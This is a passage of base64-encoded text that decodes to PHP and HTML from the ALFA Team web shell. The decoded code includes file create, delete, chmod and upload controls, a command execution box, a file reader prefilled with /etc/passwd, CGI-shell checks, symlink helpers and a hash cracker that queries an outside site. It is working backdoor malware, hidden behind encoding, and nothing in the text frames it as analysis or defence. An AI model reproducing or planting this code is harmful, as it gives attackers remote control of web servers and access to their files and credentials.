QgaW5jbHVkZXMgbW9yZSB0aGFuIDQwMCBoYXNoZXMuPC9mb250PjwvYj4iO2JyZWFrOw0KCWNhc2UoJ0NPREUgRVJSRVVSIDogMDA0Jyk6ZWNobyAiPGI+PGZvbnQgY29sb3I9J3JlZCc+VGhlIHR5cGUgb2YgaGFzaCB5b3UgcHJvdmlkZSBpbiB0aGUgYXJndW1lbnQgaGFzaF90eXBlIGRvZXNuJ3Qgc2VlbSB0byBiZSB2YWxpZDwvZm9udD48L2I+IjticmVhazsNCgljYXNlKCdDT0RFIEVSUkVVUiA6IDAwNScpOmVjaG8gIjxiPjxmb250IGNvbG9yPSdyZWQnPlRoZSBoYXNoIHlvdSBwcm92aWRlIGRvZXNuJ3Qgc2VlbSB0byBtYXRjaCB3aXRoIHRoZSB0eXBlIG9mIGhhc2ggeW91IHNldC48L2ZvbnQ+PC9iPiI7YnJlYWs7DQp9DQppZihzdWJzdHIoJHJlc3AsMCw0KSE9J0NPREUnJiYkcmVzcCE9Jycpew0KZWNobyAiPGI+UmVzdWx0OiA8Zm9udCBjb2xvcj0nZ3JlZW4nPiIuJHJlc3AuIjwvZm9udD48L2I+IjsNCn1lbHNlaWYoc3Vic3RyKCRyZXNwLDAsNCkhPSdDT0RFJyl7DQplY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5Ob1QgRm91bmQ8L2ZvbnQ+PGJyIC8+IjsNCn0NCmVjaG8oJzwvY2VudGVyPicpOw0KfQ0KfQ0KfQ0KaWYoJF9QT1NUWydhbGZhMSddPT0nYW5hbHl6ZXInKXsNCmVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSGFzaCBBbmFseXplciB8PC9kaXY+PC9wPg0KPGZvcm0gb25zdWJtaXQ9ImcoXCdjcGNyYWNrXCcsbnVsbCxcJ2FuYWx5emVyXCcsdGhpcy5oYXNoLnZhbHVlLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyI+DQo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5IYXNoOiA8L2Rpdj4gPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJIYXNoIiBuYW1lPSJoYXNoIiBzaXplPSI2MCIgaWQ9InRleHQiIC8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJnbyIgLz48L2Zvcm0+PC9jZW50ZXI+PGJyPic7DQppZigkX1BPU1RbJ2FsZmEzJ10gPT0gJz4+Jyl7DQokaGFzaCA9ICRfUE9TVFsnYWxmYTInXTsNCmlmKCFlbXB0eSgkaGFzaCkpew0KJGN1cmwgPSBuZXcgQWxmYUNVUkwoKTsNCiRyZXNwID0gJGN1cmwtPlNlbmQoImh0dHA6Ly9tZDVkZWNyeXB0Lm5ldC9lbi9IYXNoRmluZGVyLyIsInBvc3QiLCJoYXNoPXskaGFzaH0mY3J5cHQ9U2VhcmNoIik7DQplY2hvKF9fcHJlKCkuJzxjZW50ZXI+Jyk7DQppZihwcmVnX21hdGNoKCcjPGZpZWxkc2V0IGNsYXNzPSJ0cm91dmUiPiguKj8pPC9maWVsZHNldD4jJywkcmVzcCwkcykpew0KCWVjaG8oJzxmb250IGNvbG9yPSJncmVlbiI+Jy4kc1sxXS4nPC9mb250PicpOw0KfWVsc2V7DQoJZWNobygnPGZvbnQgY29sb3I9InJlZCI+Tm90IEZvdW5kLi4uITwvZm9udD4nKTsNCn0NCmVjaG8oJzwvY2VudGVyPjxicj4nKTsNCn0NCn0NCn0NCmVjaG8gJzwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhZm9vdGVyKCl7DQppZighaXNzZXQoJF9QT1NUWydhamF4J10pKXsNCmVjaG8gIjx0YWJsZSBjbGFzcz0nZm9vdCcgd2lkdGg9JzEwMCUnIGJvcmRlcj0nMCcgY2VsbHNwYWNpbmc9JzMnIGNlbGxwYWRkaW5nPScwJyA+DQo8dHI+DQo8dGQgd2lkdGg9JzE3JSc+PGZvcm0gb25zdWJtaXQ9XCJpZih0aGlzLmYudmFsdWUudHJpbSgpLmxlbmd0aD09MClyZXR1cm4gZmFsc2U7ZWRpdG9yKHRoaXMuZi52YWx1ZSwnbWtmaWxlJywnJywnJywnJywnZmlsZScpO3RoaXMuZi52YWx1ZT0nJztyZXR1cm4gZmFsc2U7XCI+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5NYWtlIEZpbGUgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZGlyJyB0eXBlPSd0ZXh0JyBuYW1lPSdmJyB2YWx1ZT0nJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPg0KPHRkIHdpZHRoPScyMSUnPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNNYW4nLG51bGwsJ21rZGlyJyx0aGlzLmQudmFsdWUpO3RoaXMuZC52YWx1ZT0nJztyZXR1cm4gZmFsc2U7XCI+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5NYWtlIERpciA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9J3RleHQnIG5hbWU9J2QnIHZhbHVlPScgJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48L3RkPg0KPHRkIHdpZHRoPScyMiUnPjxmb3JtIG9uc3VibWl0PVwiZygnRmlsZXNNYW4nLG51bGwsJ2RlbGV0ZScsdGhpcy5kZWwudmFsdWUpO3RoaXMuZGVsLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkRlbGV0ZSA6IDwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSdkaXInIHR5cGU9J3RleHQnIG5hbWU9J2RlbCcgdmFsdWU9JyAnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+DQo8dGQgd2lkdGg9JzE5JSc+PGZvcm0gb25zdWJtaXQ9XCJpZih0aGlzLmYudmFsdWUudHJpbSgpLmxlbmd0aD09MClyZXR1cm4gZmFsc2U7ZWRpdG9yKHRoaXMuZi52YWx1ZSwnY2htb2QnLCcnLCcnLCcnLCdub25lJyk7dGhpcy5mLnZhbHVlPScnO3JldHVybiBmYWxzZTtcIj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkNobW9kIDogPC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2RpcicgdHlwZT10ZXh0IG5hbWU9ZiB2YWx1ZT0nICc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0nMic+PGZvcm0gb25zdWJtaXQ9J2coXCJGaWxlc01hblwiLHRoaXMuYy52YWx1ZSxcIlwiKTtyZXR1cm4gZmFsc2U7Jz48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPkNoYW5nZSBEaXIgOiA8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyBpZD0nZm9vdGVyX2N3ZCcgdHlwZT0ndGV4dCcgbmFtZT0nYycgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiInPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+DQo8dGQgY29sc3Bhbj0nMic+PGZvcm0gb25zdWJtaXQ9XCJlZGl0b3IodGhpcy5maWxlLnZhbHVlLCdhdXRvJywnJywnJywnJywnZmlsZScpO3JldHVybiBmYWxzZTtcIj48c3Bhbj48c3BhbiBjbGFzcz0nZm9vdGVyX3RleHQnPlJlYWQgRmlsZSA6IDwvc3Bhbj48L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlJyB2YWx1ZT0nL2V0Yy9wYXNzd2QnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9mb3JtPjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49JzQnPjxmb3JtIG9uc3VibWl0PVwiZygncHJvYycsbnVsbCx0aGlzLmMudmFsdWUpO3RoaXMuYy52YWx1ZT0nJztyZXR1cm4gZmFsc2U7XCI+PHNwYW4+PHNwYW4gY2xhc3M9J2Zvb3Rlcl90ZXh0Jz5FeGVjdXRlIDo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB0eXBlPSd0ZXh0JyBuYW1lPSdjJyB2YWx1ZT0nICc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0nNCc+PGZvcm0gb25zdWJtaXQ9J3UodGhpcyk7cmV0dXJuIGZhbHNlOycgbmFtZT0nZm9vdGVyX2Zvcm0nIG1ldGhvZD0ncG9zdCcgRU5DVFlQRT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nRmlsZXNNQW4nPg0KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYycgdmFsdWU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPg0KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWxmYTEnIHZhbHVlPSd1cGxvYWRGaWxlJz4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2NoYXJzZXQnIHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiAiJz4NCjxzcGFuIGNsYXNzPSdmb290ZXJfdGV4dCc+VXBsb2FkIGZpbGU6IDwvc3Bhbj48c3Bhbj48YnV0dG9uIGlkPSdhZGR1cCcgb25jbGljaz0nYWRkbmV3dXAoKTtyZXR1cm4gZmFsc2U7Jz48Yj4rPC9iPjwvYnV0dG9uPjwvc3Bhbj48cCBpZD0ncGZvb3RlcnVwJz48bGFiZWwgY2xhc3M9J2lucHV0ZmlsZScgZm9yPSdmb290ZXJ1cCc+PHNwYW4gaWQ9J19fZm5hbWV1cCc+PC9zcGFuPiA8c3Ryb25nPiZuYnNwOyZuYnNwO0Nob29zZSBhIGZpbGU8L3N0cm9uZz48L2xhYmVsPjxpbnB1dCBpZD0nZm9vdGVydXAnIGNsYXNzPSd0b29sc0lucCcgdHlwZT0nZmlsZScgbmFtZT0nZltdJyBvbkNoYW5nZT0naGFuZGxldXAodGhpcywwKTsnPjwvcD48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzdWJtaXQnIHZhbHVlPScgJz48L2Zvcm0+PGJyPjxzcGFuIGNsYXNzPSdjb3B5cmlnaHQnPlsgLi9BbGZhVGVhbSAmY29weTsgMjAxMi0iLmRhdGUoJ1knKS4iIF08L3NwYW4+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPC9kaXY+DQo8ZGl2IGlkPSdjZ2lsb2FkZXInPjxkaXYgY2xhc3M9J2VkaXRvci13cmFwcGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItaGVhZGVyJz48ZGl2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcImNnaWxvYWRlclwiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJjZ2lsb2FkZXJcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGlkPSdjZ2lmcmFtZScgc3R5bGU9J21hcmdpbi1sZWZ0OjE0cHg7bWFyZ2luLXJpZ2h0OjMwcHg7Jz48L2Rpdj48L2Rpdj48L2Rpdj4NCjxkaXYgaWQ9J2VkaXRvcic+PGRpdiBjbGFzcz0nZWRpdG9yLXdyYXBwZXInPjxkaXYgY2xhc3M9J2VkaXRvci1oZWFkZXInPjxkaXYgY2xhc3M9J2VkaXRvci1wYXRoJz48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItY29udHJvbGxlcic+PGRpdiBjbGFzcz0nZWRpdG9yLW1pbmltaXplJyBvbkNsaWNrPSdlZGl0b3JNaW5pbWl6ZShcImVkaXRvclwiKTsnPjwvZGl2PjxkaXYgb25DbGljaz0nZWRpdG9yQ2xvc2UoXCJlZGl0b3JcIik7JyBjbGFzcz0nY2xvc2UtYnV0dG9uJz48L2Rpdj48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItZXhwbG9yZXInPjxkaXYgY2xhc3M9J2hoZWFkZXInPjxkaXYgY2xhc3M9J2hpc3RvcnktY2xlYXInIG9uY2xpY2s9J2NsZWFyRWRpdG9ySGlzdG9yeSgpOyc+Q2xlYXIgYWxsPC9kaXY+PGRpdiBjbGFzcz0naGhlYWRlci10ZXh0Jz5IaXN0b3J5PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLXNlYXJjaCc+PGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIGlkPSdzZWFyY2gtaW5wdXQnIHBsYWNlaG9sZGVyPSdzZWFyY2gnPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9J2hpc3RvcnktbGlzdCc+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLW1vZGFsJz48ZGl2IGNsYXNzPSdlZGl0b3ItYm9keSc+PGRpdiBjbGFzcz0nZWRpdG9yLWNvbnRlbnQnPjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2PjwvZGl2Pg0KPGRpdiBpZD0ndXBkYXRlLWNvbnRlbnQnPjwvZGl2Pg0KPGRpdiBpZD0nZWRpdG9yLW1pbmltaXplZCcgb25jbGljaz0nc2hvd0VkaXRvcihcImVkaXRvclwiKTsnPjxkaXYgY2xhc3M9J21pbmltaXplZC13cmFwcGVyJz48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtdGV4dCc+U2hvdyBFZGl0b3I8L2Rpdj48L2Rpdj48L2Rpdj4NCjxkaXYgaWQ9J2NnaWxvYWRlci1taW5pbWl6ZWQnIG9uY2xpY2s9J3Nob3dFZGl0b3IoXCJjZ2lsb2FkZXJcIik7Jz48ZGl2IGNsYXNzPSdtaW5pbWl6ZWQtd3JhcHBlcic+PGRpdiBjbGFzcz0nbWluaW1pemVkLXRleHQnPlNob3cgQ2dpPC9kaXY+PC9kaXY+PC9kaXY+DQo8c2NyaXB0Pg0KCSQoJ3NlYXJjaC1pbnB1dCcpLmFkZEV2ZW50TGlzdGVuZXIoJ2tleWRvd24nLCBmdW5jdGlvbihlKXsNCgkJc2V0VGltZW91dChmdW5jdGlvbigpew0KCQkJdmFyIHN0cmluZyA9ICQoJ3NlYXJjaC1pbnB1dCcpLnZhbHVlDQoJCQlkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ2hpc3RvcnktbGlzdCcpWzBdLmlubmVySFRNTCA9ICcnOw0KCQkJZm9yKHZhciBpIGluIGVkaXRvcl9maWxlcyl7DQoJCQkJaWYoZWRpdG9yX2ZpbGVzW2ldLmZpbGUuc2VhcmNoKHN0cmluZykgIT0gLTEgfHwgc3RyaW5nID09ICcnKXsNCgkJCQkJdmFyIG1vZGUgPSAwOw0KCQkJCQlpZihpID09IGVkaXRvcl9jdXJyZW50X2ZpbGUpew0KCQkJCQkJbW9kZSA9ICcgaXNfYWN0aXZlJzsNCgkJCQkJfQ0KCQkJCQlpbnNlcnRUb0hpc3RvcnkoaSwgZWRpdG9yX2ZpbGVzW2ldLmZpbGUsIG1vZGUsIGVkaXRvcl9maWxlc1tpXS50eXBlKTsNCgkJCQl9DQoJCQl9DQoJCX0sIDEwMCk7DQoJfSxmYWxzZSk7DQoJX0FqYXgoZC5VUkwsICdhPScrYWxmYWI2NCgnY2hlY2t1cGRhdGUnKSwgZnVuY3Rpb24ocmVzKXsNCgkJZC5ib2R5Lmluc2VydEFkamFjZW50SFRNTCgnYmVmb3JlZW5kJywgcmVzKTsNCgl9KTsNCglpZigiLiRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXS4iKXsNCgkJX0FqYXgoZC5VUkwsICdhPScrYWxmYWI2NCgndXBkYXRlaGVhZGVyJyksIGZ1bmN0aW9uKHJlcyl7DQoJCQl0cnl7DQoJCQkJdmFyIGRhdGEgPSBKU09OLnBhcnNlKHJlcyk7DQoJCQkJY29uc29sZS5sb2coZGF0YSk7DQoJCQkJZm9yKHZhciBpIGluIGRhdGEpew0KCQkJCQl2YXIgaHRtbCA9ICcnOw0KCQkJCQlmb3IodmFyIGIgPSAwOyBiIDwgZGF0YVtpXS5sZW5ndGg7IGIrKyl7DQoJCQkJCQlpZihpPT0ndXNlZnVsJ3x8aT09J2Rvd25sb2FkZXInKXsNCgkJCQkJCQlodG1sICs9ICc8c3BhbiBjbGFzcz1cImhlYWRlcl92YWx1ZXNcIiBzdHlsZT1cIm1hcmdpbi1sZWZ0OiA0cHg7XCI+JytkYXRhW2ldW2JdKyc8L3NwYW4+JzsNCgkJCQkJCX1lbHNlew0KCQkJCQkJCWh0bWwgKz0gZGF0YVtpXVtiXTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCQl2YXIgZWxlbSA9ICQoJ2hlYWRlcl8nK2kpOw0KCQkJCQlpZihlbGVtKXtlbGVtLmlubmVySFRNTCA9IGh0bWw7fQ0KCQkJCX0NCgkJCQkkKCdoZWFkZXJfY2dpc2hlbGwnKS5pbm5lckhUTUwgPSAnT04nOw0KCQkJCSQoJ2hlYWRlcl9jZ2lzaGVsbCcpLnNldEF0dHJpYnV0ZSgnY2xhc3MnLCAnaGVhZGVyX29uJyk7DQoJCQl9Y2F0Y2goZSl7Y29uc29sZS5sb2coZSl9DQoJCX0pOw0KCX1lbHNlIGlmKGlzbGludXgpew0KCQlfQWpheChkLlVSTCwgJ2E9JythbGZhYjY0KCdjaGVja2NnaScpLCBmdW5jdGlvbihyZXMpew0KCQkJaWYocmVzPT0nb2snKXsNCgkJCQkkKCdoZWFkZXJfY2dpc2hlbGwnKS5pbm5lckhUTUwgPSAnT04nOw0KCQkJCSQoJ2hlYWRlcl9jZ2lzaGVsbCcpLnNldEF0dHJpYnV0ZSgnY2xhc3MnLCAnaGVhZGVyX29uJyk7DQoJCQl9DQoJCX0pOw0KCX0NCjwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg0KIjsNCn19DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSkgew0KZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgew0KZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9DQpmdW5jdGlvbiBhbGZhV2hpY2goJHApIHsNCiRwYXRoID0gYWxmYUV4KCd3aGljaCAnIC4gJHAsZmFsc2UsZmFsc2UpOw0KaWYoIWVtcHR5KCRwYXRoKSkNCnJldHVybiBzdHJsZW4oJHBhdGgpOw0KcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gYWxmYVNpemUoJHMpIHsNCmlmKCRzID49IDEwNzM3NDE4MjQpDQpyZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7DQplbHNlaWYoJHMgPj0gMTA0ODU3NikNCnJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7DQplbHNlaWYoJHMgPj0gMTAyNCkNCnJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7DQplbHNlDQpyZXR1cm4gJHMgLiAnIEInOw0KfQ0KZnVuY3Rpb24gYWxmYVBlcm1zKCRwKSB7DQppZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7DQplbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOw0KZWxzZWlmICgoJHAgJiAweDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsNCmVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7DQplbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOw0KZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAwMCkkaSA9ICdjJzsNCmVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7DQplbHNlICRpID0gJ3UnOw0KJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCiRpIC49ICgoJHAgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCiRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsNCiRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7DQokaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7DQokaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7DQokaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KcmV0dXJuICRpOw0KfQ0KZnVuY3Rpb24gYWxmYVBlcm1zQ29sb3IoJGYsJGlzYmFzaD1mYWxzZSl7DQokY2xhc3MgPSAiIjsNCiRudW0gPSAiIjsNCiRodW1hbiA9ICIiOw0KaWYoJGlzYmFzaCl7DQokY2xhc3MgPSAkZlsiY2xhc3MiXTsNCiRudW0gPSAkZlsibnVtIl07DQokaHVtYW4gPSAkZlsiaHVtYW4iXTsNCn1lbHNlew0KJG51bSA9IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJGYpKSwtNCk7DQokaHVtYW4gPSBhbGZhUGVybXMoQGZpbGVwZXJtcygkZikpOw0KaWYoIUBpc19yZWFkYWJsZSgkZikpDQokY2xhc3MgPSAibWFpbl9yZWRfcGVybSI7DQplbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQ0KJGNsYXNzID0gIm1haW5fd2hpdGVfcGVybSI7DQplbHNlDQokY2xhc3MgPSAibWFpbl9ncmVlbl9wZXJtIjsNCn0NCnJldHVybiAnPHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9IicuJGNsYXNzLiciPicuJG51bS4nPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJiZWV0d2Vlbl9wZXJtcyI+ID4+IDwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0iJy4kY2xhc3MuJyI+Jy4kaHVtYW4uJzwvc3Bhbj4nOw0KfQ0KaWYoIWZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSB7DQpmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsNCiRkaCA9IG9wZW5kaXIoJGRpcik7DQp3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQ0KJGZpbGVzW10gPSAkZmlsZW5hbWU7DQpyZXR1cm4gJGZpbGVzOw0KfQ0KfQ0KZnVuY3Rpb24gcmVBcnJheUZpbGVzKCRmaWxlX3Bvc3Qpew0KJGZpbGVfYXJ5ID0gYXJyYXkoKTsNCiRmaWxlX2NvdW50ID0gY291bnQoJGZpbGVfcG9zdFsnbmFtZSddKTsNCiRmaWxlX2tleXMgPSBhcnJheV9rZXlzKCRmaWxlX3Bvc3QpOw0KZm9yICgkaT0wOyAkaTwkZmlsZV9jb3VudDsgJGkrKykgew0KZm9yZWFjaCAoJGZpbGVfa2V5cyBhcyAka2V5KSB7DQokZmlsZV9hcnlbJGldWyRrZXldID0gJGZpbGVfcG9zdFska2V5XVskaV07DQp9DQp9DQpyZXR1cm4gJGZpbGVfYXJ5Ow0KfQ0KZnVuY3Rpb24gX2FsZmFfY2FuX3J1bkNvbW1hbmQoJGNnaT10cnVlLCRjYWNoZT10cnVlKXsNCglpZihpc3NldCgkX1NFU1NJT05bImFsZmFfY2FucnVuY21kIl0pJiYkY2FjaGUpew0KCQlyZXR1cm4gdHJ1ZTsNCgl9DQoJaWYoc3RybGVuKGFsZmFFeCgid2hvYW1pIixmYWxzZSwkY2dpKSk+MCl7DQoJCSRfU0VTU0lPTlsiYWxmYV9jYW5ydW5jbWQiXSA9IHRydWU7DQoJCXJldHVybiB0cnVlOw0KCX0NCglyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBfYWxmYV9zeW1saW5rKCR0YXJnZXQsICRsaW5rKXsNCgkkcGhwc3ltID0gZnVuY3Rpb25fZXhpc3RzKCJzeW1saW5rIik7DQoJaWYoJHBocHN5bSl7DQoJCUBzeW1saW5rKCR0YXJnZXQsICRsaW5rKTsNCgl9ZWxzZXsNCgkJYWxmYUV4KCJsbiAtcyAnIi5hZGRzbGFzaGVzKCR0YXJnZXQpLiInICciLmFkZHNsYXNoZXMoJGxpbmspLiInIik7DQoJfQ0KfQ0KZnVuY3Rpb24gX2FsZmFfZmlsZV9leGlzdHMoJGZpbGUsJGNnaT10cnVlKXsNCglpZihAZmlsZV9leGlzdHMoJGZpbGUpKXsNCgkJcmV0dXJuIHRydWU7DQoJfWVsc2V7DQoJCWlmKHN0cmxlbihhbGZhRXgoImxzIC1sYSAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyIsZmFsc2UsJGNnaSkpPjApew0KCQkJcmV0dXJuIHRydWU7DQoJCX0NCgl9DQoJcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gX2FsZmFfZmlsZSgkZmlsZSwkY2dpPXRydWUpew0KCSRhcnJheSA9IEBmaWxlKCRmaWxlKTsNCglpZighJGFycmF5KXsNCgkJaWYoc3RybGVuKGFsZmFFeCgiaWQiLGZhbHNlLCRjZ2kpKT4wKXsNCgkJCSRkYXRhID0gYWxmYUV4KCdjYXQgIicuYWRkc2xhc2hlcygkZmlsZSkuJyInLGZhbHNlLCRjZ2kpOw0KCQkJaWYoc3RybGVuKCRkYXRhKT4wKXsNCgkJCQlyZXR1cm4gZXhwbG9kZSgiXG4iLCAkZGF0YSk7DQoJCQl9ZWxzZXsNCgkJCQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoJCX1lbHNlew0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJfWVsc2V7DQoJCXJldHVybiAkYXJyYXk7DQoJfQ0KfQ0KZnVuY3Rpb24gX2FsZmFfaXNfd3JpdGFibGUoJGZpbGUpew0KCSRjaGVjayA9IGZhbHNlOw0KCSRjaGVjayA9IEBpc193cml0YWJsZSgkZmlsZSk7DQoJaWYoISRjaGVjayl7DQoJCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKCkpew0KCQkJJGNoZWNrID0gYWxmYUV4KCdbIC13ICInLnRyaW0oYWRkc2xhc2hlcygkZmlsZSkpLiciIF0gJiYgZWNobyAieWVzIiB8fCBlY2hvICJubyInKTsNCgkJCWlmKCRjaGVjayA9PSAieWVzIil7DQoJCQkJJGNoZWNrID0gdHJ1ZTsNCgkJCX1lbHNlew0KCQkJCSRjaGVjayA9IGZhbHNlOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiAkY2hlY2s7DQp9DQpmdW5jdGlvbiBfYWxmYV9pc19kaXIoJGRpciwkbW9kZT0iLWQiKXsNCgkkY2hlY2sgPSBmYWxzZTsNCgkkY2hlY2sgPSBAaXNfZGlyKCRkaXIpOw0KCWlmKCEkY2hlY2spew0KCQlpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCgpKXsNCgkJCSRjaGVjayA9IGFsZmFFeCgnWyAiJy50cmltKCRtb2RlKS4nIiAiJy50cmltKGFkZHNsYXNoZXMoJGRpcikpLiciIF0gJiYgZWNobyAieWVzIiB8fCBlY2hvICJubyInKTsNCgkJCWlmKCRjaGVjayA9PSAieWVzIil7DQoJCQkJcmV0dXJuIHRydWU7DQoJ